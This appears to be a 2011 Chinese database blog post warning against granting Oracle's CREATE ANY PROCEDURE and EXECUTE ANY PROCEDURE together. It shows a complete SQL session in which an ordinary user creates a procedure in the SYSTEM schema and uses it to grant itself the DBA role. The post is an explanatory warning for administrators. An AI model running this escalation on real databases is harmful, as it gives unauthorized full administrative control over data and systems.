ITPub博客

首页 > Linux操作系统 > Linux操作系统 > create any procedure,execute any procedure不该同时授权给普通用户

create any procedure,execute any procedure不该同时授权给普通用户

原创 Linux操作系统 作者:tyoodz 时间:2011-06-21 15:02:48 0 删除 编辑

 

如果管理员把create any procedure和execute any procedure系统权限授权给一个普通用户,普通用户可以通过一个过程把DBA角色非法授权给自己,演示如下:

SQL> create user naruto identified by naruto;

用户已创建。

SQL> grant create session to naruto;

授权成功。
SQL> grant create session,create any procedure,execute any procedure to naruto;

授权成功。

SQL> select * from session_privs;

PRIVILEGE
-----------------------------------------

CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

可以看到用户naruto只有以上三个权限。


SQL> conn naruto/naruto
已连接。
SQL> create procedure system.p1( a varchar2 )
  2  as
  3  begin
  4  execute immediate a;
  5  end;
  6  /

过程已创建。

SQL> exec system.p1('grant DBA to naruto');

PL/SQL 过程已成功完成。

SQL> conn naruto/naruto
已连接。

SQL> select * from session_privs;

PRIVILEGE
-----------------------------------

ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER

PRIVILEGE
-----------------------------------

BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
BACKUP ANY TABLE
DROP ANY TABLE
。。。

已选择161行。


可以看到普通用户naruto获得了管理员的所有权限。

 

 

 

 


 

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/25361369/viewspace-700415/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2011-05-16

  • 博文量
    55
  • 访问量
    75075